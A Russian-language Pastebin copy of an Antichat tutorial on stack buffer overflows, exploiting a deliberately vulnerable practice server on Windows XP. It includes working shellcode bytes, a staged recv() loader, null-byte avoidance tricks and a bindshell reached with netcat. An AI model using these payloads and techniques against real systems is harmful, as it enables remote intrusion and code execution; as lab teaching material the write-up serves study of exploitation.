krot

Переполнение стека. Часть 1 by KEZ

Aug 27th, 2016
104
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Вступление
  2.  
  3. Проблемы локальных переполнений возникли со времен разделения программы на подпрограммы.
  4. Такие ошибки очень распространены и сейчас их находят почти во всем, что обрабатывает данные,
  5. введенные пользователем. Например, в браузерах (Internet Explorer IFRAME tag overflow),
  6. icq-клиентах (Trillian png oveflow), интернет радио (IceCast), архиваторах (WinRAR),
  7. модулях операционных систем (Windows Lsasrv.dll overflow, Linux ptrace() overflow), FTP,
  8. MySQL и других серверах (ServU FTP, mysqld, IIS), межсетевых экранах - файрволах
  9. (iptables integer overflow) и даже играх (Stronghold, и др.). Есть много других похожих
  10. тем, например Heap overflow (переполнение кучи), перезапись одного байта (в случае,
  11. когда мы можем перезаписать всего один байт, программа все равно потенциально уязвима),
  12. и другие.
  13. В этой статье я расскажу о самых типичных и основных.
  14. Был выложен сервер и предложение написать эксплойт. Точнее эксплойты, т.к. их 3 штуки.
  15. Об этом и пойдет речь, (что странно).
  16.  
  17. В интернете я встречал только одну статью, которую друг у друга украли тысячи сайтов.
  18. Там, как и во всех книгах по buffer
  19. overflow, ничего интересного не написано, максимум - как запустить локальный шелл,
  20. что в общем то для демонов и серверов, и ненужно совершенно. Я же постарался описать
  21. (возможно, и смутно) реализацию конкретного bindshella для привязывания cmd.exe к
  22. определенному порту, и, попутно, другие возможности эксплотирования уязвимости сервера.
  23.  
  24.  
  25. Основы
  26.  
  27. И так начнем с основ. Что же такое стек? Стек - область памяти, служащая для записи
  28. временных данных, используемая
  29. при вызове функций (или процедур, как их называю, в любом случае - Подпрограмм).
  30. Для работы со стеком служат специальных регистры процессора (это я объяснять не буду,
  31. про стек вы можете прочитать другие статьи, ищите в поисковике). Это ESP (SP) и EBP (BP).
  32. Соответственно 32 и 16 (в скобках) разрядные регистры. Теперь о том, как работает подпрограмма.
  33. Формально подпрограмма - кусок команд, заканчивающихся возвратом из нее (RETN),
  34. имеющая возможный работать с параметрами, переданными ей через стек.
  35. Подпрограмма может быть вызвана из любого места кода, и при завершении
  36. этой подпрограммы будет осуществлен переход обратно на следующую команду
  37. после места, из которого она была вызвана. Также подпрограмма может использовать
  38. локальные (промежуточные), переменные, хранятся которые тоже в стеке.
  39. Сейчас я не буду углубляться в адреса стека, скажу только, что он работает по
  40. принципу LIFO - Last In, First Out - последним зашел, первым ушел (Очень много
  41. книг, в которых описана работа стека). Это значит, что данные при занесении в
  42. стек добавляются в его вершину, а при извлечении берутся с вершины. То есть самый
  43. первый байт будет извлечен самым последним. Для занесения/извлечения данных из
  44. стека есть команды PUSH, POP и некоторые их разновидности (например, PUSHA, POPA).
  45. Если надо переслать значение DWORD (а 32-разрядные регистры хранят имеено DWORD4 байта)
  46. из EBX в EAX, можно поступить так:
  47.  
  48. MOV EAX, EBXM
  49.  
  50. а можно и по-другому:
  51.  
  52. PUSH EBX
  53. POP EAX.
  54.  
  55. Так, когда вызывается подпрограмма, инструкцией CALL [адрес], в стек записывается адрес
  56. СЛЕДУЮЩЕЙ после CALL команды. Когда в ф-ии мы натыкаемся на команду RETN, происходит
  57. извлечение из стека этого адреса и передача управления по этому адресу. То есть в регистр
  58. EIP записывается извлеченное из стека значение (регистр EIP содержит адрес следующей
  59. выполненной команды). То есть сохранили место - вызвали ф-ию - восстановили место.
  60. Также надо заметить, что в стек кроме EIP сохраняется EBP. Таким образом, все работает
  61. корректно (да, даже программы компании микрософт) – адрес сохраняется, потом восстанавливается
  62. и управление не теряется. Конечно, все занесенные в стек параметны мы должны извлечь оттуда,
  63. чтобы при RETN первый DWORD указывал на след. После CALL команду…
  64.  
  65. И все было бы хорошо, и статью бы я не писал, если бы не некоторые недочеты программистов.
  66. Ф-ии передается блок данных (через стек, конечно), а что если в программе не предусмотрена
  67. проверка на размер этого блока, и он будет превышать размер, для него выделеный? Тогда
  68. получится так, что, выйдя за границы этого блока, мы перезапишем сохраненные в стеке
  69. значения EIP и EBP. Что после этого будет, можно догадаться. После команды RETN в ф-ии
  70. управление будет передано по адресу, который будет извлечен с вершины стека. Мы можем
  71. манипулировать регистрами EIP и EBP. Тут открывается широкое поле для экспериментов,
  72. как и в нашем примере с функцией test(), которой передается строка, полученая
  73. (по сети через сокет) от
  74. клиента.
  75. Строка не проверяется на размер, который, кстати, пересылается вначале…
  76.  
  77. Далее пойдет речь о том, как можно использовать такую ценную вещь, как изменение EIP и EBP.
  78. А сделать можно практически всё. Самое частое (и довольно сложное) -
  79. открыть шелл (Win32 - cmd.exe, command.com, Linux - /bin/bash, /bin/sh и др.)
  80. на каком-нибудь порте, и потом приконектившись к этому порту, выполнять команды
  81. через интерпретатор (как я уже не раз говорил). Команды выполняются с правами
  82. уязвимого приложения. (Кстати, например, если уязвима системная lsasrv.dll –
  83. дырка в WinXP SP1, то команды выполняются с привилегиями SYSTEM, что похоже на
  84. root в nix, но это так… отступление). Ну, в общем-то, разобрались, передаем
  85. слишком длинную строку, тем самым, затирая значения в стеке. Дальше надо подумать
  86. (что, кстати, опять очень странно).
  87. Было предложено написать три эксплойта для моего сервера.
  88. Первый запустит ф-ию fl() в сервере, второй откроет ЛОКАЛЬНЫЙ шелл и третий
  89. повесит шелл на порт (bindshell, bindport).
  90. Начнем с самого простейшего - первого.
  91.  
  92.  
  93. Этап 1
  94.  
  95. Итак, как несложно догадаться, самым простым способом будет замена значение
  96. EIP на адрес начала ф-ии fl().
  97. Тогда, при выходе из test() – при выполнении команды RETN (ее адрес – 0x401073),
  98. управление передастся по EIP, который указывает на начало fl(), и, следовательно,
  99. эта ф-ия будет выполнена.
  100. И нам встречается одна проблема – адрес fl() содержит символы нуля (NULL CHARS, 0x00),
  101. что расценивается как конец строки большинством ф-ий. Однако, т.к. этот нулевой символ
  102. должен стоять в самом конце строки (при затирании регистров байты должны записываться
  103. «наоборот»), проблема пока отпадает, ведь адрес fl()0x00401090, а запишем мы 0x90104000
  104. – только конец строки содержит нуль.
  105. Но потом, во 2 и 3 варианте мы с ней ещё встретимся.
  106. Открываем сервер отладчиком (я использую OllyDBG) и находим ее адрес.
  107. Он, как было сказано, равен 0x00401090.
  108. Проблем возникнуть не должно - вычисляем, сколько байт способна обработать программа,
  109. чтобы не было переполнения (тут это 100) и после них пишем ещё четыре (EBP) байта,
  110. которые в первом случае могут быть произвольные, главное - не нули и ещё четыре – те,
  111. что заменят EIP. Эти последнии четыре будут содержать "перевернутый" адрес 00401090.
  112. Почему "перевернутый" - я говорил, что специфика стека такова, что данные должны
  113. записываться наоборот, т.к. они и извлекаются оттуда наоборот. Это просто логика.
  114. Строчка выглядит так :
  115. 0x90 … всего 100 раз … 0x90, 0x10, 0x20, 0x30, 0x40
  116. (четыре произвольных байта), 0x90, 0x10, 0x40, 0x00  (четыре байта – адрес fl())
  117. Посылаем серверу размер нашего кода (108) и следом за ним сам код. Ф-ия fl()
  118. запускается, на экране появляется MessageBox, а потом мы видим ошибку приложения,
  119. но ничего страшного, ведь fl() запустилась. Так, можно передать управление по любому
  120. адресу. Читаем дальше.
  121.  
  122. Этап 2
  123.  
  124. Второй этап. Запуск локального шелла (cmd.exe). Тут все сложнее.
  125. Нам требуется запустить cmd.exe на машине. на которой работает сервер.
  126. Команды можно выполнять только с этой же машины. Тут придется использовать значение EBP.
  127. Давайте подумаем, как лучше передать управление и чему.
  128. Я делаю так - в EIP пишу адрес команды (точнее набора байтов,
  129. т.к. реально эти байты не для выполнения) JMP ESP в какой-нибудь
  130. системной библиотеке. Например, найдем в ntdll.dll.
  131. Ее адрес - ntdll.77FB59CC. Смотрим отладчиком, что лежит по этому адресу,
  132. и видим такую картину
  133. (если у вас WinXP SP1)
  134.  
  135.  
  136. 77FB59CC  FFE40400  DD 0004E4FF
  137.  
  138. Тут мы видим 0xFF, 0xE4, 0x04, 0x00 байты.
  139. FF и E4 составляют команду JMP ESP (можете проверить).
  140. Cha0s, конечно считает, что это не круто - т.к. в разных версиях и даже билдах винды
  141. эти адреса разные - он просто, так как я не умеет =)) (шутка). В конце концов, можно
  142. сделать разные адреса для разных систем, как часто делают в эксплойтах.
  143. ESP указывает на 109-байты-нашей строки (читайте специфику стека) и по переходу на ESP
  144. управление будет передано на 109-байт строки.
  145. А вот в EBP (101-104 байты) запишем (внимание) АДРЕС НАЧАЛА СТРОКИ В СТЕКЕ,
  146. только поXORеный с 0xffffffff. Так у нас получится число, не содержащее нулей (0x00).
  147. А так как XOR обратима (a xor b xor b = a, если конечно вы не забили на математику
  148. во втором классе), повторное поXORевание с 0xffffffff даст нам опять адрес начала
  149. строки в стеке. Он будет содержать нули, но нулей в записи нашего кода НЕ БУДЕТ.
  150. Начнем со 109 байта писать запуск cmd.exe.
  151. А сделаем это так.
  152.  
  153.  
  154.  
  155. XOR EBP, 0xffffffff - теперь EBP опять указывает на начало строки
  156. PUSH 5              - занесем в стек параметры WinExec (первый параметр)
  157. PUSH EBP+1          - аналогично (второй)
  158. CALL WinExec        - вызовем ее
  159.  
  160.  
  161. Где 5 - это константа SW_SHOW - для нормального отображения окна.
  162. В принципе, у меня получалось вместо этого числа подставить и другое.
  163. Адрес начала строки + 1 - довольно хитро, это нужно для занесения в стек строчки "cmd ".
  164. Напишем ее со второго байта нашей сплойт-строки. Не с первого, потому что опкоды
  165. команды PUSH EBP содержат нули, а PUSH EBP+1 - не содержат.
  166. Далее вызываем WinExec. Правда... Я тут делал, чтобы побыстрее и поэтому выполняется
  167. не cmd, а cmd PPPPPPP ... P т.к. 0x90 байты (NOP) остались, а символа нуля нет.
  168. Немного не эстетично (есстественно, совсем не эстетично – прим. здравого рассудка),
  169. но интерпретатор все равно запуститься корректно.
  170.  
  171.  
  172. Этап 3
  173.  
  174. Третьим этапом (самым акуальным) является написание эксплойта для bindshella.
  175. Он привяжет командный интерпретатор (в Windows - это cmd.exe) к порту, и мы,
  176. приконектившись к этому порту сможем выполнять команды на уязвимой системе,
  177. с правами процесса сервера.
  178. Тут все ещё сложнее. Я взял код с http://metasploit.com
  179. - отличному сайту, за что
  180. его авторам спасибо. Правда его придется немного изменять.
  181. Начнем с того, что код биндшелла занимает сравнительно много - у меня это 344 байта.
  182. Такой блок никак не удастся передать серверу как обычное сообщение,
  183. да ещё учитывая то, что первые что байт - мусор, а 101-108 - это байты,
  184. затирающие EBP и EIP, появляются просто ужасные ограничения (куда без них).
  185. Меня много раз спрашивали, как же сделать биндшелл - где найти очень маленький код,
  186. или как хитро передать серверу длинный код. Ответ у меня такой - мы сделаем первый
  187. блок (назовем эго sc_prepare), в котором будет располагаться код, переполняющий стек
  188. и вызывающий ф-ию recv(), которая в свою очередь, примет присланный ВТОРОЙ код
  189. большого размера. О том, как это реализовать, и пойдет речь.
  190. Ф-ия recv() имеет прототип:
  191. recv (SOCKET s, void* buf, int size, int flags)
  192.  
  193. Мы будем использовать сокет соединения с клиентом, причем хендл его знать не будем,
  194. только укажем адрес, где этот хендл располагается – 0x423770.
  195. Адрес буфера – возьмем адрес, куда записываются сообщения клиента – 0x004235D2.
  196. Размер – возьмем рамер передаваемого шеллкода (ну, например 344), потом размер
  197. будет высчитываться автоматически. А флаги.… Как обычно, поставим 0.
  198. Для начала мы напишем те сто  байт "мусора". Теперь подумаем, чем заменить
  199. EBP и EIP. Как и во втором случае, заменим EBP адресом начала строки в стеке,
  200. поXORеным с 0xffffffff. А в EIP поставим адрес команды JMP ESP в ntdll.dll.
  201. Управление будет передано на 109 байт строки. Тут будут команды XOR EBP, 0xffffffff
  202. и JMP EBP. Мы передем к началу строки. Вот тут то и разместим код – у нас есть 100
  203.  
  204. байт мусора, в которые будем писать вызов recv(), подготавливающий прием шеллкода.
  205. Стандартным способом занесем в стек все параметры - хендл сокета, адрес буфера,
  206. размер и флаги (конечно, наоборот – сначала последний параметр, затем предпоследний и т. д.).
  207. Вызовем recv(), после которой напишем JMP 0x004235D2, тоесть переход на принятый код.
  208. Правда под отладчиком (с брекпоинтами) если клиент уже перешлет код, а сервер ещё будет
  209. приостановлен, ничего не получится - recv() вылетит без ожидания, т.к. соединение уже закрыто.
  210. А если все нормально, программа остановится, пока в эксплойте мы не вызовем send()
  211. и не передадим шеллкод. И он будет выполняться. Используется в нем архитектура SEH -
  212. завершения. Существуют ещё PROCESS и THREAD. Код в OllyDBG выглядит так:
  213.  
  214.  
  215. >>EBP, начало
  216. [адрес]    [дамп]           [команда]
  217. 0012FAB0   33C0             XOR EAX,EAX
  218. 0012FAB2   50               PUSH EAX
  219. 0012FAB3   B8 FFFFFFFF      MOV EAX, -1
  220. 0012FAB8   2D C2FEFFFF      SUB EAX, -13E
  221. 0012FABD   50               PUSH EAX
  222. 0012FABE   B8 FFFFFFFF      MOV EAX,-1
  223. 0012FAC3   2D 2DCABDFF      SUB EAX, FFBDCA2D
  224. 0012FAC8   50               PUSH EAX
  225. 0012FAC9   B8 FFFFFFFF      MOV EAX, -1
  226. 0012FACE   2D 8FC8BDFF      SUB EAX, FFBDC88F
  227. 0012FAD3   8B08             MOV ECX,[DWORD DS:EAX]
  228. 0012FAD5   51               PUSH ECX
  229. 0012FAD6   E8 B55B9671      CALL WS2_32.recv                  >>>>>>>> ВЫЗОВ <<<<<<<<
  230.  
  231.  
  232.  
  233. Стек так (перед 0x012FAD6 CALL WS2_32.recv):
  234.  
  235.  
  236. >>ESP
  237. [адрес]    [дамп]    [комментарий]
  238. 0012FF20   00000054  |Socket = 54
  239. 0012FF24   004235D2  |Buffer = Server.004235D2
  240. 0012FF28   0000013D  |BufSize = 13D (317.)
  241. 0012FF2C   00000000  \Flags = 0
  242.  
  243.  
  244. А вот как выглядит sc_prepare :
  245.  
  246. /* prepare */
  247. char sc_prepare[] =
  248. /* xor eax,eax            */    "\x33\xc0"
  249. /* push eax               */    "\x50"
  250. /* mov eax,-1             */    "\xb8\xff\xff\xff\xff"
  251. /* sub eax,-159           */    "\x2d\x90\x90\x90\x90" /* sc size, will be rewrited ! */
  252. /* push eax               */    "\x50"
  253. /* mov eax,-1             */    "\xb8\xff\xff\xff\xff"
  254. /* sub eax,0xffbdca2d     */    "\x2d\x2d\xca\xbd\xff"
  255. /* push eax               */    "\x50"
  256. /* mov eax,-1             */    "\xb8\xff\xff\xff\xff"
  257. /* sub eax,0xffbdc8ff     */    "\x2d\x8f\xc8\xbd\xff"
  258. /* mov eax,[dword ds:eax] */    "\x8b\x08"
  259. /* push ecx               */    "\x51"
  260. /* call ws2_32.recv       */    "\xe8\xb5\x5b\x96\x71"
  261. /* mov eax,-1             */    "\xb8\xff\xff\xff\xff"
  262. /* sub eax,0xffbdca2d     */    "\x2d\x2d\xca\xbd\xff"
  263. /* jmp eax                */    "\xff\xe0"
  264.  
  265.                                 "\x90\x90\x90\x90\x90"
  266.                                 "\x90\x90\x90\x90\x90"
  267.                                 "\x90\x90\x90\x90\x90"
  268.                                 "\x90\x90\x90\x90\x90"
  269. /* nops - 0x90            */    "\x90\x90\x90\x90\x90"
  270.                                 "\x90\x90\x90\x90\x90"
  271.                                 "\x90\x90\x90\x90\x90"
  272.                                 "\x90\x90\x90\x90\x90"
  273.                                 "\x90\x90\x90\x90\x90"
  274.  
  275. /* EBP    =  0xffed054f   */    "\x4f\x05\xed\xff"
  276. /* EIP    =  jmp esp      */    "\xcc\x59\xfb\x77"
  277. /* xor ebp,0xffffffff     */    "\x81\xf5\xff\xff\xff\xff"
  278. /* jmp ebp                */    "\xff\xe5";
  279.  
  280.  
  281. Теперь можно конектится, например, netcat'ом (telnet я ненавижу) на порт, который будет
  282. задан при генерации шеллкода (в программе есть место, где два байта по определенному
  283. смещению заменяются третьим параметром, введенным в командной строке - это порт) и
  284. получить шелл. Telnet после первой команды DIR прекращает возможность ввода команд.
  285. Наша программа тут не при чем - для майкрософт это не удивительно, обязательно
  286. что-то должно заглючить. В NETCAT'е же все, конечно, будет нормально.
  287. Все опкоды команд не имеют нулей - для этого
  288. чтобы занести в стек NUMBER_B надо сделать так
  289. MOV EAX, -1                 или MOV EAX, 0xffffffff
  290. SUB EAX, NUMBER_A           где NUMBER_A – это 0xffffffff минус NUMBER_B
  291. PUSH EAX
  292.  
  293.  
  294. Опять же, простейшая математика: a = b – (b – a). Только в записи опкодов нет
  295. нулей, что радует.
  296. Тут встает проблема - а что, если мы захотим заменить наш шеллкод на что-то
  297. другое, например, на код, который создает в с-ме юзера? Или на ещё что-то.
  298. У этого кода будет другой размер. Что же, каждый раз считать 0xffffffff
  299. минус размер и ставить в sc_prepate вручную?
  300. Нет, давайте лучше сделаем это автоматом - будем вычислять DWORD -
  301. значение размера и ставить соотв.
  302. LOBYTE (LOWORD), HIBYTE (LOWORD), LOBYTE (HIWORD) и HIBYTE (HIWORD)
  303. байты по определенному смещению в sc_prepare. Смещение можно посмотреть в исходнике.
  304. Вычисляем size of(sc_bindport) и ставим эти байты в sc_prepare.
  305. Сначала обьявим значения, которые вычисляются динамически :
  306.  
  307. /* define sc sizes */
  308. char         PREPARE_SIZE  = sizeof( sc_prepare )  - 1;
  309. DWORD        BINDPORT_SIZE = sizeof( sc_bindport ) - 1;
  310.  
  311. /* BINDPORT_SIZE = 0xffffffff - MAXDWORD_WITHOUT_BINDPORTSIZE */
  312. DWORD        MAXDWORD_WITHOUT_BINDPORTSIZE
  313.              = ( 0xffffffff - BINDPORT_SIZE );
  314.  
  315.  
  316. Где PREPARE_SIZE - размер sc_prepare.
  317.  
  318. BINDPORT_SIZE - размер sc_bindport;
  319. MAXDWORD_WITHOUT_BINDPORTSIZE - 0xffffffff МИНУС размер sc_bindport (для подстановки)
  320.  
  321. А теперь можно так подставить размер в sc_prepare, который заносится в стек для recv() :
  322.  
  323.     /* inserting sc_bindport size into sc_prepare */
  324. memset( sc_prepare+9,  LOBYTE( LOWORD ( MAXDWORD_WITHOUT_BINDPORTSIZE ) ), 1 );
  325. memset( sc_prepare+10, HIBYTE( LOWORD ( MAXDWORD_WITHOUT_BINDPORTSIZE ) ), 1 );
  326. memset( sc_prepare+11, LOBYTE( HIWORD ( MAXDWORD_WITHOUT_BINDPORTSIZE ) ), 1 );
  327. memset( sc_prepare+12, HIBYTE( HIWORD ( MAXDWORD_WITHOUT_BINDPORTSIZE ) ), 1 );
  328.  
  329.  
  330.  
  331. Для этого в исходнике есть комментарии к каждой (!) команде - опкоду (они написаны слева).
  332. Далее. Наш шеллкод сгенерирован на прослушку 28876 порта.
  333. Я сгенерил ещё один код на 28877 порта и посмотрел различия.
  334. Для актуальных различий нужно поставить Encoder:None
  335. (я говорю про http://metasploit.com).
  336. Тогда можно найти два различных байта,  перевести их совокупность (MAKEWORD) в
  337. WORD тип и посмотреть десятичное представление. Вы получите введенный при
  338. генерации порт. Мы хотим сделать так, чтобы пользователь мог выбирать порт из
  339. командной строки. Так сделаем же так, чтобы полученное WORD значение записывалось,
  340. опять же, по некоторому смещению в sc_bindport, которое можно посмотреть в исходнике.
  341. Значение (порт) имеет тип WORD, это два байта.
  342. Тут нужно использовать только HIBYTE и LOBYTE.
  343.  
  344. Для тех, кто не знает, зачем нужны ф-ии HIBYTE, LOBYTE и т д - эти ф-ии возвращают старший
  345. и младший байт предоставленного WORD - значения. Аналогично с HIWORD, LOWORD - они
  346. возвращают старшие и младшие WORD (2 BYTE) значение из предоставленного DWORD (4 BYTE).
  347. Записали порт по нужному смещению в
  348. sc_bindport и все.
  349. Вот кусок кода :
  350.  
  351.  
  352.    /* inserting Bind_Port into sc_bindport */
  353. memset( sc_bindport+162, HIBYTE( Bind_Port ), 1 );
  354. memset( sc_bindport+163, LOBYTE( Bind_Port ), 1 );
  355.  
  356.  
  357. Теперь выбор порта для шелла готов!
  358. А ещё теперь мы не зависим от размера sc_bindport, т.к. он подставляется
  359. в sc_prepare автоматически. Мы можем взять вместо 344 байт sc_bindport'а,
  360. коды, например, создание нового юзера в WinXP, который занимает намного меньше.
  361. (Только, конечно, уже ненада подставлять введенный порт в sc_bindport)
  362.  
  363. Ещё разок вкратце:
  364. Код sc_prepare, отсылаясь, переполняет буфер, вызывает ф-ию recv(),
  365. которая ждет когда сплойт передаст серверу шеллкод и запускает его.
  366. В сплойте сделана задержка - Sleep(sleeptime) - для того чтобы показать,
  367. что сервер будет ждать сколько угодно, ведь recv() вызвана в главном потоке.
  368. Вы можете менять константу sleeptime как хотите (в разумных пределах).
  369.  
  370. Ещё скриншот:
  371.  
  372.  
  373.  
  374. Сервер ждет соединений на 28876 порт
  375.  
  376.  
  377. Почти конец
  378.  
  379. Рекомендую открыть сервер отладчиком - я использовал OllyDBG -
  380. этот отличный отладчик незаменимо помог мне в написании сплойта.
  381. Никаких ошибок после завершения коннекта нетката (или телнета) с сервером не возникает.
  382. (SEH-завершение).
  383.  
  384. Хочу заметить, что шеллкод вы могли написать и сами, но об этом я хотел рассказать вам в
  385. части 2. Так что лутше возьмите с метасплойта.
  386. У них замечательные PAYLOADсы причем нетолько для бинда, но и для добавления юзеров,
  387. reverse-bind’а и вообще много для чего.
  388.  
  389. Запускать мой testsrv-expl надо так
  390. >testsrv-expl.exe IP-адрес порт биндпорт
  391. Например (все вместе):
  392.  
  393.  
  394. >
  395. >server.exe
  396. >testsrv-expl.exe 127.0.0.1 8877 28876
  397. >nc 127.0.0.1 28876
  398. >
  399. M*crosoft Windows XP [Версия 5.1.2600]
  400. (С) Корпорация Майкрософт, 1985-2001.
  401. >ver
  402. M*crosoft Windows XP [Версия 5.1.2600]
  403. >
  404.  
  405.  
  406. И ещё скриншот:
  407.  
  408.  
  409. "Взлом" сервера
  410.  
  411.  
  412. И так, вот архив : [url]
  413. Тут вы можете скачать:
  414.   - Мой эксплойт для bindshell (exe, sources)
  415.   - Эксплойт cha0s'а для bindshell (exe, sources)
  416.    - Сервер
  417.    - Эту статью (stack.html)
  418.    - Шаблон клиента
  419.    - Исходники сервера
  420.  
  421. Исходники из двух первых этапов (fl(), local shell) я не выкладываю, попробуйте их
  422. написать сами, благо это не сложно, я, если что, подскажу.
  423.  
  424. Все компилируется C++ компилятором, у меня Visual C++ 6.0.
  425.  
  426. Конечно, будет куча вопросов - куда без них... Шлите мне все на емейл, возможно поговорим
  427. в аське.
  428.  
  429.  
  430. Спасибо:
  431. - Как я уже не раз говорил http://metasploit.com/ - за payloads для никсов и винды!
  432. - Посетителям античата - именно они помогли перебороть лень (ПИШИ РЕЩЕ! ЧЕ ТЯЖЕЛО ШОЛЬ?)
  433. - Cha0s - за написание другого сплойта
  434. - Expl.0ziv - аналогично, работал вместе с cha0s'ом
  435.  
  436. Ссылки:
  437.  
  438. http://www.icqkid.com/down.php - тут можно найти ссылку на Borland C++ 5 (CLT)
  439. http://metasploit.com - тут можно взять шеллкоды на все случаи жизни. Представлены
  440. шеллкоды для MacOS, Unix, IRIX, Windows и др.
  441. http://slipknot1.com - Death Metal тоже круто помог мне (лирическое отступление)
  442. http://antimicrosoft.com - просто мне приятно... век бы набирал в браузере эту строчку!
  443.  
  444. http://int3.net - как известно, int 3 (3 прерывание) используют
  445. отладчики для установки брекпоинтов. Сайт посвящен всему, что касается Reverse Engineeing.
  446.  
  447. Post-script'um
  448.  
  449. P.S. Этот сервер я украл у Че Гевары, эксплойт сам не могу написать,
  450. поэтому попросил вас, идея была SladerNON’а а статью за меня написал Егор,
  451. за что всем большое спасибо (шутка).
  452.  
  453.  
  454. (C) KEZ
  455. Antichat
RAW Paste Data